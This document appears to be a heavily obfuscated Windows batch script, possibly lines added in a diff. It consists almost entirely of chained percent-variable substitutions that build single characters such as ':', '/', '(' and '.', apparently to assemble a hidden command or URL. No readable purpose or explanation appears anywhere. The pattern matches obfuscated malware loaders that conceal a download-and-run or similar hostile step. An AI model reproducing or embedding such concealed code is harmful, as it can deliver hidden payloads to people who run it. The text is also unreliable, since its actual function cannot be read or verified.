+%gbFR%%BHNb%%TdiM%%ryxZ%UeyQ%dkqA%B +%gbFR%%BHNb%%TdiM%%ryxZ%IJVM%dkqA%%dDry% +%gbFR%%BHNb%%TdiM%%ryxZ%FkJG%dkqA%%OFVq% +%gbFR%%BHNb%%TdiM%%ryxZ%TMmP%dkqA%%bFUY% +%gbFR%%BHNb%%TdiM%%ryxZ%HxlX%dkqA%%rBtM% +%gbFR%%BHNb%%TdiM%%ryxZ%JSmu%dkqA%%BHNb% +%gbFR%%JSmu%%TdiM%%ryxZ%siNs%dkqA%%xYOY% +%gbFR%%JSmu%%TdiM%%ryxZ%qvVY%dkqA%%TdiM% +%gbFR%%JSmu%%qvVY%%ryxZ%fkGR%dkqA%%gUGx% +%gbFR%%JSmu%%qvVY%%ryxZ%ejqF%dkqA%%BUZd% +%gbFR%%JSmu%%qvVY%%ryxZ%oboM%dkqA%%Qldb% +%gbFR%%JSmu%%qvVY%%ryxZ%mmLv%dkqA%%LFGi% +%gbFR%%JSmu%%qvVY%%ryxZ%YFYu%dkqA%%tDUy% +%gbFR%%JSmu%%qvVY%%ryxZ%mTqa%dkqA%%TRix% +%gbFR%%JSmu%%qvVY%%ryxZ%NJbE%dkqA%%gbFR% +%NJbE%%JSmu%%qvVY%%ryxZ%XUie%dkqA%%jFaF% +%NJbE%%JSmu%%qvVY%%ryxZ%OiOo%dkqA%%LAXo% +%NJbE%%JSmu%%qvVY%%ryxZ%GNLo%dkqA%%Wzyi% +%NJbE%%JSmu%%qvVY%%ryxZ%YSrF%dkqA%%wHXJ% +%NJbE%%JSmu%%qvVY%%ryxZ%Ewmi%dkqA%%RYbJ% +%NJbE%%JSmu%%qvVY%%ryxZ%wBov%dkqA%%WgBq% +%NJbE%%JSmu%%qvVY%%ryxZ%mhPa%dkqA%%WxpR% +%NJbE%%JSmu%%qvVY%%ryxZ%WTJB%dkqA%%uFKu% +%NJbE%%JSmu%%qvVY%%ryxZ%nZqA%dkqA%%UhxE% +%NJbE%%JSmu%%qvVY%%ryxZ%WFvX%dkqA%%oIAT% +%NJbE%%JSmu%%qvVY%%ryxZ%LyWO%dkqA%%xQVt% +%NJbE%%JSmu%%qvVY%%ryxZ%Rcex%dkqA%%IwVu% +%NJbE%%JSmu%%qvVY%%ryxZ%QAEK%dkqA%%faaM% +%NJbE%%JSmu%%qvVY%%ryxZ%sNWZ%dkqA%%LeVW% +%NJbE%%JSmu%%qvVY%%ryxZ%XxHr%dkqA%%BptQ% +%NJbE%%JSmu%%qvVY%%ryxZ%KskI%dkqA%%IlGJ% +%NJbE%%JSmu%%qvVY%%ryxZ%Ujzt%dkqA%%XvTY% +%NJbE%%JSmu%%qvVY%%ryxZ%Rrat%dkqA%%Vkqw% +%NJbE%%JSmu%%qvVY%%ryxZ%Lrbn%dkqA%%yCGt% +%NJbE%%JSmu%%qvVY%%ryxZ%ZpsC%dkqA%%FQJu% +%NJbE%%JSmu%%qvVY%%ryxZ%FykN%dkqA%%QZJw% +%NJbE%%JSmu%%qvVY%%ryxZ%XumA%dkqA%%wZad% +%NJbE%%JSmu%%qvVY%%ryxZ%oJqp%dkqA%%TGtI% +%NJbE%%JSmu%%qvVY%%ryxZ%ywwy%dkqA%%dRCf% +%NJbE%%JSmu%%qvVY%%ryxZ%LAir%dkqA%%WFvX% +%NJbE%%JSmu%%qvVY%%ryxZ%Fkxc%dkqA%%mhPa% +%NJbE%%JSmu%%qvVY%%ryxZ%OkTi%dkqA%%NJbE% +%LAir%%Fkxc%%OkTi% +%OkTi%%JSmu%%qvVY%%ryxZ%zbjL%dkqA%%LAir% +%OkTi%%JSmu%%qvVY%%ryxZ%dFhC%dkqA%%mmLv% +%OkTi%%JSmu%%qvVY%%ryxZ%RZpO%dkqA%%Fkxc% +%OkTi%%JSmu%%qvVY%%ryxZ%tMOK%dkqA%%dFhC% +%OkTi%%JSmu%%qvVY%%ryxZ%uVfV%dkqA%%siNs% +%OkTi%%JSmu%%qvVY%%ryxZ%dzBt%dkqA%%ryxZ% +%OkTi%%JSmu%%qvVY%%dzBt%mzpD%dkqA%%XumA% +%OkTi%%JSmu%%qvVY%%dzBt%TUyT%dkqA%%oJqp% +%zbjL%%tMOK%%RZpO%%tMOK%%uVfV%%dzBt%%mzpD%%TUyT% +%OkTi%%JSmu%%qvVY%%dzBt%reQT%dkqA%%zbjL% +%OkTi%%JSmu%%qvVY%%dzBt%njMP%dkqA%%tMOK% +%OkTi%%JSmu%%qvVY%%dzBt%VLkd%dkqA%%RZpO% +%OkTi%%JSmu%%qvVY%%dzBt%BZqB%dkqA%%njMP% +%OkTi%%JSmu%%qvVY%%dzBt%URPj%dkqA%%uVfV% +%OkTi%%JSmu%%qvVY%%dzBt%TElA%dkqA%%dzBt% +%OkTi%%JSmu%%qvVY%%TElA%UUHh%dkqA%%mzpD% +%OkTi%%JSmu%%qvVY%%TElA%gMGD%dkqA%%TUyT% +%reQT%%BZqB%%VLkd%%BZqB%%URPj%%TElA%%UUHh%%gMGD% +%OkTi%%JSmu%%qvVY%%TElA%Juwe%dkqA%%reQT% +%OkTi%%JSmu%%qvVY%%TElA%CCIS%dkqA%%BZqB% +%OkTi%%JSmu%%qvVY%%TElA%AHiS%dkqA%%VLkd% +%OkTi%%JSmu%%qvVY%%TElA%KaeV%dkqA%%CCIS% +%OkTi%%JSmu%%qvVY%%TElA%DuSw%dkqA%%URPj% +%OkTi%%JSmu%%qvVY%%TElA%qKoF%dkqA%%TElA% +%OkTi%%JSmu%%qvVY%%qKoF%Wqqi%dkqA%%UUHh% +%OkTi%%JSmu%%qvVY%%qKoF%dcND%dkqA%%gMGD% +%Juwe%%KaeV%%AHiS%%KaeV%%DuSw%%qKoF%%Wqqi%%dcND% +%OkTi%%JSmu%%qvVY%%qKoF%hPyK%dkqA%%Juwe% +%OkTi%%JSmu%%qvVY%%qKoF%uUSv%dkqA%%KaeV% +%OkTi%%JSmu%%qvVY%%qKoF%dOtJ%dkqA%%AHiS% +%OkTi%%JSmu%%qvVY%%qKoF%hAzt%dkqA%%uUSv% +%OkTi%%JSmu%%qvVY%%qKoF%ZZVA%dkqA%%DuSw% +%OkTi%%JSmu%%qvVY%%qKoF%mrWL%dkqA%%qKoF% +%OkTi%%JSmu%%qvVY%%mrWL%TFur%dkqA%%Wqqi% +%OkTi%%JSmu%%qvVY%%mrWL%LofC%dkqA%%dcND% +%hPyK%%hAzt%%dOtJ%%hAzt%%ZZVA%%mrWL%%TFur%%LofC% +%OkTi%%JSmu%%qvVY%%mrWL%WpZv%dkqA%%hPyK% +%OkTi%%JSmu%%qvVY%%mrWL%dFzH%dkqA%%hAzt% +%OkTi%%JSmu%%qvVY%%mrWL%VIqr%dkqA%%dOtJ% +%OkTi%%JSmu%%qvVY%%mrWL%AuIj%dkqA%%dFzH% +%OkTi%%JSmu%%qvVY%%mrWL%KnEm%dkqA%%ZZVA% +%OkTi%%JSmu%%qvVY%%mrWL%Jecz%dkqA%%mrWL% +%OkTi%%JSmu%%qvVY%%Jecz%kBNl%dkqA%%TFur% +%OkTi%%JSmu%%qvVY%%Jecz%xKYB%dkqA%%LofC% +%WpZv%%AuIj%%VIqr%%AuIj%%KnEm%%Jecz%%kBNl%%xKYB% +%OkTi%%JSmu%%qvVY%%Jecz%SdzM%dkqA%%WpZv% +%OkTi%%JSmu%%qvVY%%Jecz%HAKF%dkqA%%AuIj% +%OkTi%%JSmu%%qvVY%%Jecz%koYK%dkqA%%VIqr% +%OkTi%%JSmu%%qvVY%%Jecz%vblm%dkqA%%HAKF% +%OkTi%%JSmu%%qvVY%%Jecz%lkSs%dkqA%%KnEm% +%OkTi%%JSmu%%qvVY%%Jecz%NrAQ%dkqA%%Jecz% +%OkTi%%JSmu%%qvVY%%NrAQ%kuIw%dkqA%%kBNl% +%OkTi%%JSmu%%qvVY%%NrAQ%uBmz%dkqA%%xKYB% +%SdzM%%vblm%%koYK%%vblm%%lkSs%%NrAQ%%kuIw%%uBmz% +%OkTi%%JSmu%%qvVY%%NrAQ%SnIw%dkqA%%SdzM% +%OkTi%%JSmu%%qvVY%%NrAQ%yWox%dkqA%%vblm% +%OkTi%%JSmu%%qvVY%%NrAQ%ORme%dkqA%%koYK% +%OkTi%%JSmu%%qvVY%%NrAQ%cfrY%dkqA%%yWox% +%OkTi%%JSmu%%qvVY%%NrAQ%HgCY%dkqA%%lkSs% +%OkTi%%JSmu%%qvVY%%NrAQ%fsgJ%dkqA%%NrAQ% +%OkTi%%JSmu%%qvVY%%fsgJ%mNYG%dkqA%%kuIw% +%OkTi%%JSmu%%qvVY%%fsgJ%mniu%dkqA%%uBmz% +%SnIw%%cfrY%%ORme%%cfrY%%HgCY%%fsgJ%%mNYG%%mniu% +%OkTi%%JSmu%%qvVY%%fsgJ%CBnt%dkqA%%SnIw% +%OkTi%%JSmu%%qvVY%%fsgJ%yGzM%dkqA%%cfrY% +%OkTi%%JSmu%%qvVY%%fsgJ%iXye%dkqA%%ORme% +%OkTi%%JSmu%%qvVY%%fsgJ%lPVZ%dkqA%%yGzM% +%OkTi%%JSmu%%qvVY%%fsgJ%SIpZ%dkqA%%HgCY% +%OkTi%%JSmu%%qvVY%%fsgJ%KtHe%dkqA%%fsgJ% +%OkTi%%JSmu%%qvVY%%KtHe%aaqg%dkqA%%mNYG% +%OkTi%%JSmu%%qvVY%%KtHe%gzIc%dkqA%%mniu% +%CBnt%%lPVZ%%iXye%%lPVZ%%SIpZ%%KtHe%%aaqg%%gzIc% +%OkTi%%JSmu%%qvVY%%KtHe%LFqc%dkqA%%CBnt% +%OkTi%%JSmu%%qvVY%%KtHe%dKUo%dkqA%%lPVZ% +%OkTi%%JSmu%%qvVY%%KtHe%wJkx%dkqA%%iXye% +%OkTi%%JSmu%%qvVY%%KtHe%LcAM%dkqA%%dKUo% +%OkTi%%JSmu%%qvVY%%KtHe%UfnC%dkqA%%SIpZ% +%OkTi%%JSmu%%qvVY%%KtHe%ZzeL%dkqA%%KtHe% +%OkTi%%JSmu%%qvVY%%ZzeL%OVtY%dkqA%%aaqg% +%OkTi%%JSmu%%qvVY%%ZzeL%VXMc%dkqA%%gzIc% +%LFqc%%LcAM%%wJkx%%LcAM%%UfnC%%ZzeL%%OVtY%%VXMc% +%OkTi%%JSmu%%qvVY%%ZzeL%CiGU%dkqA%%LFqc% +%OkTi%%JSmu%%qvVY%%ZzeL%bAPI%dkqA%%LcAM% +%OkTi%%JSmu%%qvVY%%ZzeL%zmCM%dkqA%%wJkx% +%OkTi%%JSmu%%qvVY%%ZzeL%nzku%dkqA%%bAPI% +%OkTi%%JSmu%%qvVY%%ZzeL%JXVE%dkqA%%UfnC% +%OkTi%%JSmu%%qvVY%%ZzeL%aLGj%dkqA%%ZzeL% +%OkTi%%JSmu%%qvVY%%aLGj%KkeE%dkqA%%OVtY% +%OkTi%%JSmu%%qvVY%%aLGj%zmnS%dkqA%%VXMc% +%CiGU%%nzku%%zmCM%%nzku%%JXVE%%aLGj%%KkeE%%zmnS% +%OkTi%%JSmu%%qvVY%%aLGj%jYDj%dkqA%%CiGU% +%OkTi%%JSmu%%qvVY%%aLGj%AtYs%dkqA%%nzku% +%OkTi%%JSmu%%qvVY%%aLGj%clCm%dkqA%%zmCM% +%OkTi%%JSmu%%qvVY%%aLGj%HRpO%dkqA%%AtYs% +%OkTi%%JSmu%%qvVY%%aLGj%RKSX%dkqA%%JXVE% +%OkTi%%JSmu%%qvVY%%aLGj%gPcM%dkqA%%aLGj% +%OkTi%%JSmu%%qvVY%%gPcM%BXrR%dkqA%%KkeE% +%OkTi%%JSmu%%qvVY%%gPcM%bARX%dkqA%%zmnS% +%jYDj%%HRpO%%clCm%%HRpO%%RKSX%%gPcM%%BXrR%%bARX% +%OkTi%%JSmu%%qvVY%%gPcM%ULnO%dkqA%%jYDj% +%OkTi%%JSmu%%qvVY%%gPcM%BcJw%dkqA%%HRpO% +%OkTi%%JSmu%%qvVY%%gPcM%VYrg%dkqA%%clCm% +%OkTi%%JSmu%%qvVY%%gPcM%rscN%dkqA%%BcJw% +%OkTi%%JSmu%%qvVY%%gPcM%sebg%dkqA%%RKSX% +%OkTi%%JSmu%%qvVY%%gPcM%QyYZ%dkqA%%gPcM% +%OkTi%%JSmu%%qvVY%%QyYZ%XwqB%dkqA%%BXrR% +%OkTi%%JSmu%%qvVY%%QyYZ%yhQF%dkqA%%bARX% +%ULnO%%rscN%%VYrg%%rscN%%sebg%%QyYZ%%XwqB%%yhQF% +%OkTi%%JSmu%%qvVY%%QyYZ%DCPm%dkqA%%ULnO% +%OkTi%%JSmu%%qvVY%%QyYZ%aETc%dkqA%%rscN% +%OkTi%%JSmu%%qvVY%%QyYZ%uheh%dkqA%%VYrg% +%OkTi%%JSmu%%qvVY%%QyYZ%DmpK%dkqA%%aETc% +%OkTi%%JSmu%%qvVY%%QyYZ%Cvwr%dkqA%%sebg% +%OkTi%%JSmu%%qvVY%%QyYZ%wEWZ%dkqA%%QyYZ% +%OkTi%%JSmu%%qvVY%%wEWZ%nxDR%dkqA%%XwqB% +%OkTi%%JSmu%%qvVY%%wEWZ%ohMv%dkqA%%yhQF% +%DCPm%%DmpK%%uheh%%DmpK%%Cvwr%%wEWZ%%nxDR%%ohMv% +%OkTi%%JSmu%%qvVY%%wEWZ%rTFl%dkqA%%DCPm% +%OkTi%%JSmu%%qvVY%%wEWZ%pDdW%dkqA%%DmpK% +%OkTi%%JSmu%%qvVY%%wEWZ%OeYn%dkqA%%uheh% +%OkTi%%JSmu%%qvVY%%wEWZ%rdco%dkqA%%pDdW% +%OkTi%%JSmu%%qvVY%%wEWZ%OdnB%dkqA%%Cvwr% +%OkTi%%JSmu%%qvVY%%wEWZ%WTyE%dkqA%%wEWZ% +%OkTi%%JSmu%%qvVY%%WTyE%FkxG%dkqA%%nxDR% +%OkTi%%JSmu%%qvVY%%WTyE%EeLt%dkqA%%ohMv% +%rTFl%%rdco%%OeYn%%rdco%%OdnB%%WTyE%%FkxG%%EeLt% +%OkTi%%JSmu%%qvVY%%WTyE%kzbm%dkqA%%rTFl% +%OkTi%%JSmu%%qvVY%%WTyE%GBEn%dkqA%%rdco% +%OkTi%%JSmu%%qvVY%%WTyE%fBsV%dkqA%%OeYn% +%OkTi%%JSmu%%qvVY%%WTyE%mXjN%dkqA%%GBEn% +%OkTi%%JSmu%%qvVY%%WTyE%vOoX%dkqA%%OdnB% +%OkTi%%JSmu%%qvVY%%WTyE%ZByp%dkqA%%WTyE% +%OkTi%%JSmu%%qvVY%%ZByp%kOIi%dkqA%%FkxG% +%OkTi%%JSmu%%qvVY%%ZByp%NRAr%dkqA%%EeLt% +%kzbm%%mXjN%%fBsV%%mXjN%%vOoX%%ZByp%%kOIi%%NRAr% +%OkTi%%JSmu%%qvVY%%ZByp%NRyB%dkqA%%kzbm% +%OkTi%%JSmu%%qvVY%%ZByp%bYZU%dkqA%%mXjN% +%OkTi%%JSmu%%qvVY%%ZByp%waDq%dkqA%%fBsV% +%OkTi%%JSmu%%qvVY%%ZByp%yGnR%dkqA%%bYZU% +%OkTi%%JSmu%%qvVY%%ZByp%RfpU%dkqA%%vOoX% +%OkTi%%JSmu%%qvVY%%ZByp%vKaS%dkqA%%ZByp% +%OkTi%%JSmu%%qvVY%%vKaS%qDjT%dkqA%%kOIi% +%OkTi%%JSmu%%qvVY%%vKaS%ZRji%dkqA%%NRAr% +%NRyB%%yGnR%%waDq%%yGnR%%RfpU%%vKaS%%qDjT%%ZRji% +%OkTi%%JSmu%%qvVY%%vKaS%RFrs%dkqA%%NRyB% +%OkTi%%JSmu%%qvVY%%vKaS%qbBv%dkqA%%yGnR% +%OkTi%%JSmu%%qvVY%%vKaS%cadW%dkqA%%waDq% +%OkTi%%JSmu%%qvVY%%vKaS%ZKMo%dkqA%%qbBv% +%OkTi%%JSmu%%qvVY%%vKaS%FZPF%dkqA%%RfpU% +%OkTi%%JSmu%%qvVY%%vKaS%aivP%dkqA%%vKaS% +%OkTi%%JSmu%%qvVY%%aivP%zdeE%dkqA%%qDjT% +%OkTi%%JSmu%%qvVY%%aivP%uUVM%dkqA%%ZRji% +%RFrs%%ZKMo%%cadW%%ZKMo%%FZPF%%aivP%%zdeE%%uUVM% +%OkTi%%JSmu%%qvVY%%aivP%zCTD%dkqA%%RFrs% +%OkTi%%JSmu%%qvVY%%aivP%BoXP%dkqA%%ZKMo% +%OkTi%%JSmu%%qvVY%%aivP%pInD%dkqA%%cadW% +%OkTi%%JSmu%%qvVY%%aivP%rpQF%dkqA%%BoXP% +%OkTi%%JSmu%%qvVY%%aivP%Kllo%dkqA%%FZPF% +%OkTi%%JSmu%%qvVY%%aivP%vmrd%dkqA%%aivP% +%OkTi%%JSmu%%qvVY%%vmrd%sDbm%dkqA%%zdeE% +%OkTi%%JSmu%%qvVY%%vmrd%MVEU%dkqA%%uUVM% +%zCTD%%rpQF%%pInD%%rpQF%%Kllo%%vmrd%%sDbm%%MVEU% +%OkTi%%JSmu%%qvVY%%vmrd%MGuz%dkqA%%zCTD% +%OkTi%%JSmu%%qvVY%%vmrd%BAma%dkqA%%rpQF% +%OkTi%%JSmu%%qvVY%%vmrd%JxUq%dkqA%%pInD% +%OkTi%%JSmu%%qvVY%%vmrd%PAHK%dkqA%%BAma% +%OkTi%%JSmu%%qvVY%%vmrd%HSSN%dkqA%%Kllo% +%OkTi%%JSmu%%qvVY%%vmrd%HxeG%dkqA%%vmrd% +%OkTi%%JSmu%%qvVY%%HxeG%Kszb%dkqA%%sDbm% +%OkTi%%JSmu%%qvVY%%HxeG%ezju%dkqA%%MVEU% +%MGuz%%PAHK%%JxUq%%PAHK%%HSSN%%HxeG%%Kszb%%ezju% +%OkTi%%JSmu%%qvVY%%HxeG%pDWB%dkqA%%MGuz% +%OkTi%%JSmu%%qvVY%%HxeG%paJo%dkqA%%PAHK% +%OkTi%%JSmu%%qvVY%%HxeG%Ffau%dkqA%%JxUq% +%OkTi%%JSmu%%qvVY%%HxeG%bKWU%dkqA%%paJo% +%OkTi%%JSmu%%qvVY%%HxeG%pxfF%dkqA%%HSSN% +%OkTi%%JSmu%%qvVY%%HxeG%WQYO%dkqA%%HxeG% +%OkTi%%JSmu%%qvVY%%WQYO%KPZC%dkqA%%Kszb% +%OkTi%%JSmu%%qvVY%%WQYO%TbWq%dkqA%%ezju% +%pDWB%%bKWU%%Ffau%%bKWU%%pxfF%%WQYO%%KPZC%%TbWq% +%OkTi%%JSmu%%qvVY%%WQYO%SpjS%dkqA%%pDWB% +%OkTi%%JSmu%%qvVY%%WQYO%jeyU%dkqA%%bKWU% +%OkTi%%JSmu%%qvVY%%WQYO%UviW%dkqA%%Ffau% +%OkTi%%JSmu%%qvVY%%WQYO%cSvf%dkqA%%jeyU% +%OkTi%%JSmu%%qvVY%%WQYO%ARux%dkqA%%pxfF% +%OkTi%%JSmu%%qvVY%%WQYO%jOcz%dkqA%%WQYO% +%OkTi%%JSmu%%qvVY%%jOcz%AvCU%dkqA%%KPZC% +%OkTi%%JSmu%%qvVY%%jOcz%ozFv%dkqA%%TbWq% +%SpjS%%cSvf%%UviW%%cSvf%%ARux%%jOcz%%AvCU%%ozFv% +%OkTi%%JSmu%%qvVY%%jOcz%xIiT%dkqA%%SpjS% +%OkTi%%JSmu%%qvVY%%jOcz%QEmh%dkqA%%cSvf% +%OkTi%%JSmu%%qvVY%%jOcz%TmCS%dkqA%%UviW% +%OkTi%%JSmu%%qvVY%%jOcz%jqGr%dkqA%%QEmh% +%OkTi%%JSmu%%qvVY%%jOcz%wgAM%dkqA%%ARux% +%OkTi%%JSmu%%qvVY%%jOcz%BdOJ%dkqA%%jOcz% +%OkTi%%JSmu%%qvVY%%BdOJ%AVYh%dkqA%%AvCU% +%OkTi%%JSmu%%qvVY%%BdOJ%rXaI%dkqA%%ozFv% +%xIiT%%jqGr%%TmCS%%jqGr%%wgAM%%BdOJ%%AVYh%%rXaI% +%OkTi%%JSmu%%qvVY%%BdOJ%mJvI%dkqA%%xIiT% +%OkTi%%JSmu%%qvVY%%BdOJ%iAjU%dkqA%%jqGr% +%OkTi%%JSmu%%qvVY%%BdOJ%tUkk%dkqA%%TmCS% +%OkTi%%JSmu%%qvVY%%BdOJ%whlT%dkqA%%iAjU% +%OkTi%%JSmu%%qvVY%%BdOJ%Awao%dkqA%%wgAM% +%OkTi%%JSmu%%qvVY%%BdOJ%yxGL%dkqA%%BdOJ% +%OkTi%%JSmu%%qvVY%%yxGL%wIaC%dkqA%%AVYh% +%OkTi%%JSmu%%qvVY%%yxGL%sXZw%dkqA%%rXaI% +%mJvI%%whlT%%tUkk%%whlT%%Awao%%yxGL%%wIaC%%sXZw% +%OkTi%%JSmu%%qvVY%%yxGL%HAXa%dkqA%%mJvI% +%OkTi%%JSmu%%qvVY%%yxGL%dvjS%dkqA%%whlT% +%OkTi%%JSmu%%qvVY%%yxGL%vXPy%dkqA%%tUkk% +%OkTi%%JSmu%%qvVY%%yxGL%MNxI%dkqA%%dvjS% +%OkTi%%JSmu%%qvVY%%yxGL%fwJs%dkqA%%Awao% +%OkTi%%JSmu%%qvVY%%yxGL%RPoV%dkqA%%yxGL% +%OkTi%%JSmu%%qvVY%%RPoV%MOtX%dkqA%%wIaC% +%OkTi%%JSmu%%qvVY%%RPoV%yTtp%dkqA%%sXZw% +%HAXa%%MNxI%%vXPy%%MNxI%%fwJs%%RPoV%%MOtX%%yTtp% +%OkTi%%JSmu%%qvVY%%RPoV%Yjbd%dkqA%%HAXa% +%OkTi%%JSmu%%qvVY%%RPoV%oTXs%dkqA%%MNxI% +%OkTi%%JSmu%%qvVY%%RPoV%HeKc%dkqA%%vXPy% +%OkTi%%JSmu%%qvVY%%RPoV%eIfo%dkqA%o +%OkTi%%JSmu%%qvVY%%RPoV%yQOK%dkqA%%fwJs% +%OkTi%%JSmu%%qvVY%%RPoV%qPXi%dkqA%%RPoV% +%OkTi%%JSmu%%qvVY%%qPXi%SZRd%dkqA%%MOtX% +%OkTi%%JSmu%%qvVY%%qPXi%UJDe%dkqA%%yTtp% +%Yjbd%%eIfo%%HeKc%%eIfo%%yQOK%%qPXi%%SZRd%%UJDe% +%OkTi%%JSmu%%qvVY%%qPXi%ztAG%dkqA%%Yjbd% +%OkTi%%JSmu%%qvVY%%qPXi%GcRU%dkqA%%eIfo% +%OkTi%%JSmu%%qvVY%%qPXi%oaJw%dkqA%%HeKc% +%OkTi%%JSmu%%qvVY%%qPXi%Ooix%dkqA%%GcRU% +%OkTi%%JSmu%%qvVY%%qPXi%nKPq%dkqA%%yQOK% +%OkTi%%JSmu%%qvVY%%qPXi%Xfuo%dkqA%%qPXi% +%OkTi%%JSmu%%qvVY%%Xfuo%zWUM%dkqA%%SZRd% +%OkTi%%JSmu%%qvVY%%Xfuo%Ggyo%dkqA%%UJDe% +%ztAG%%Ooix%%oaJw%%Ooix%%nKPq%%Xfuo%%zWUM%%Ggyo% +%OkTi%%JSmu%%qvVY%%Xfuo%fmKw%dkqA%%YFYu% +%OkTi%%JSmu%%qvVY%%Xfuo%gIzo%dkqA%%Ooix% +%OkTi%%JSmu%%qvVY%%Xfuo%PSjP%dkqA%%HxlX% +%OkTi%%JSmu%%qvVY%%Xfuo%xhUk%dkqA%%JSmu% +%OkTi%%xhUk%%qvVY%%Xfuo%LTHM%dkqA%%nKPq% +%OkTi%%xhUk%%qvVY%%Xfuo%bmMG%dkqA%%OkTi% +%bmMG%%xhUk%%qvVY%%Xfuo%BZQn%dkqA%%YSrF% +%bmMG%%xhUk%%qvVY%%Xfuo%HvMf%dkqA%%xhUk% +%bmMG%%HvMf%%qvVY%%Xfuo%Xoex%dkqA%%oaJw% +%bmMG%%HvMf%%qvVY%%Xfuo%cPaO%dkqA%%Xoex% +%bmMG%%HvMf%%qvVY%%Xfuo%lifX%dkqA%%Xfuo% +%bmMG%%HvMf%%qvVY%%lifX%WOkD%dkqA%( +%bmMG%%HvMf%%qvVY%%lifX%zTiA%dkqA%%QAEK% +%bmMG%%HvMf%%qvVY%%lifX%UAvF%dkqA%%HvMf% +%bmMG%%UAvF%%qvVY%%lifX%nSKB%dkqA%%PSjP% +%bmMG%%UAvF%%qvVY%%lifX%dhfo%dkqA%- +%bmMG%%UAvF%%qvVY%%lifX%fMvG%dkqA%%gIzo% +%bmMG%%UAvF%%qvVY%%lifX%lUAb%dkqA%%Rcex% +%bmMG%%UAvF%%qvVY%%lifX%aLdU%dkqA%%Ewmi% +%bmMG%%UAvF%%qvVY%%lifX%UkNj%dkqA%%UAvF% +%bmMG%%UkNj%%qvVY%%lifX%dPhX%dkqA%%ztAG% +%bmMG%%UkNj%%qvVY%%lifX%jxWx%dkqA%%qvVY% +%bmMG%%UkNj%%jxWx%%lifX%FIrl%dkqA%%lifX% +%bmMG%%UkNj%%jxWx%%FIrl%qYPK%dkqA%%gsMm% +%bmMG%%UkNj%%jxWx%%FIrl%QthO%dkqA%%fkGR% +%bmMG%%UkNj%%jxWx%%FIrl%PuWC%dkqA%%bmMG% +%PuWC%%UkNj%%jxWx%%FIrl%eqgv%dkqA%%jxWx% +%PuWC%%UkNj%%eqgv%%FIrl%JVrX%dkqA%%UkNj% +%PuWC%%JVrX%%eqgv%%FIrl%Epie%dkqA%%sNWZ% +%PuWC%%JVrX%%eqgv%%FIrl%MCuL%dkqA%. +%PuWC%%JVrX%%eqgv%%FIrl%OYXi%dkqA%%IJVM% +%PuWC%%JVrX%%eqgv%%FIrl%yWoY%dkqA%%JVrX% +%PuWC%%yWoY%%eqgv%%FIrl%JIop%dkqA%%eqgv% +%PuWC%%yWoY%%JIop%%FIrl%iFxZ%dkqA%%MCuL% +%PuWC%%yWoY%%JIop%%FIrl%FYYM%dkqA%%kixM% +%PuWC%%yWoY%%JIop%%FIrl%IoCc%dkqA%%yWoY% +%PuWC%%IoCc%%JIop%%FIrl%kdnh%dkqA%%lUAb% +%PuWC%%IoCc%%JIop%%FIrl%XsrQ%dkqA%%aZfR% +%PuWC%%IoCc%%JIop%%FIrl%aBtF%dkqA%%cPaO% +%PuWC%%IoCc%%JIop%%FIrl%oYgK%dkqA%%oboM% +%PuWC%%IoCc%%JIop%%FIrl%qtbW%dkqA%%IoCc% +%PuWC%%qtbW%%JIop%%FIrl%THDB%dkqA%%zTiA% +%PuWC%%qtbW%%JIop%%FIrl%qHMs%dkqA%%JIop% +%PuWC%%qtbW%%qHMs%%FIrl%Bsjf%dkqA%) +%PuWC%%qtbW%%qHMs%%FIrl%RINa%dkqA%%iFxZ% +%PuWC%%qtbW%%qHMs%%FIrl%oguW%dkqA%%XNFd% +%PuWC%%qtbW%%qHMs%%FIrl%DJxX%dkqA%%fMvG% +%PuWC%%qtbW%%qHMs%%FIrl%AoKt%dkqA%%nSKB% +%PuWC%%qtbW%%qHMs%%FIrl%dtTw%dkqA%%THDB% +%PuWC%%qtbW%%qHMs%%FIrl%UOsc%dkqA%%aBtF% +%PuWC%%qtbW%%qHMs%%FIrl%mCDV%dkqA%%DJxX% +%PuWC%%qtbW%%qHMs%%FIrl%MMoS%dkqA%%mTqa% +%PuWC%%qtbW%%qHMs%%FIrl%nNwg%dkqA%%XUie% +%PuWC%%qtbW%%qHMs%%FIrl%Zzes%dkqA%%WAJG% +%PuWC%%qtbW%%qHMs%%FIrl%uIWc%dkqA%%oYgK% +%PuWC%%qtbW%%qHMs%%FIrl%Qqqy%dkqA%%UOsc% +%PuWC%%qtbW%%qHMs%%FIrl%lnXf%dkqA%%qtbW% +%PuWC%%lnXf%%qHMs%%FIrl%Ofpa%dkqA%%WOkD% +%PuWC%%lnXf%%qHMs%%FIrl%XKEP%dkqA%%FIrl% +%PuWC%%lnXf%%qHMs%%XKEP%XJoS%dkqA%' +%PuWC%%lnXf%%qHMs%%XKEP%mqEG%dkqA%%BZQn% +%PuWC%%lnXf%%qHMs%%XKEP%aDdB%dkqA%%qHMs% +%PuWC%%lnXf%%aDdB%%XKEP%exkE%dkqA%%aDdB% +%PuWC%%lnXf%%exkE%%XKEP%GyZi%dkqA%%fmKw% +%PuWC%%lnXf%%exkE%%XKEP%sgFM%dkqA%: +%PuWC%%lnXf%%exkE%%XKEP%UTZM%dkqA%/ +%PuWC%%lnXf%%exkE%%XKEP%GanP%dkqA%%UTZM% +%PuWC%%lnXf%%exkE%%XKEP%TloJ%dkqA%%Ggyo% +%PuWC%%lnXf%%exkE%%XKEP%EoEU%dkqA%%XxHr% +%PuWC%%lnXf%%exkE%%XKEP%wNAS%dkqA%%RINa% +%PuWC%%lnXf%%exkE%%XKEP%COul%dkqA%%zWUM% +%PuWC%%lnXf%%exkE%%XKEP%jRlw%dkqA%%TloJ% +%PuWC%%lnXf%%exkE%%XKEP%WmBN%dkqA%%ZpsC% +%PuWC%%lnXf%%exkE%%XKEP%xZFy%dkqA%%wNAS% +%PuWC%%lnXf%%exkE%%XKEP%OBMT%dkqA%%Rrat% +%PuWC%%lnXf%%exkE%%XKEP%VyFo%dkqA%%EoEU% +%PuWC%%lnXf%%exkE%%XKEP%RjDy%dkqA%%OBMT% +%PuWC%%lnXf%%exkE%%XKEP%fHDo%dkqA%%xZFy% +%PuWC%%lnXf%%exkE%%XKEP%dPmU%dkqA%%COul% +%PuWC%%lnXf%%exkE%%XKEP%mOgd%dkqA%%VyFo% +%PuWC%%lnXf%%exkE%%XKEP%VSrP%dkqA%%KskI% +%PuWC%%lnXf%%exkE%%XKEP%GyiY%dkqA%%sgFM% +%PuWC%%lnXf%%exkE%%XKEP%Ggft%dkqA%%WmBN% +%PuWC%%lnXf%%exkE%%XKEP%MwYJ%dkqA%%ywwy% +%PuWC%%lnXf%%exkE%%XKEP%wljP%dkqA%%Ggft% 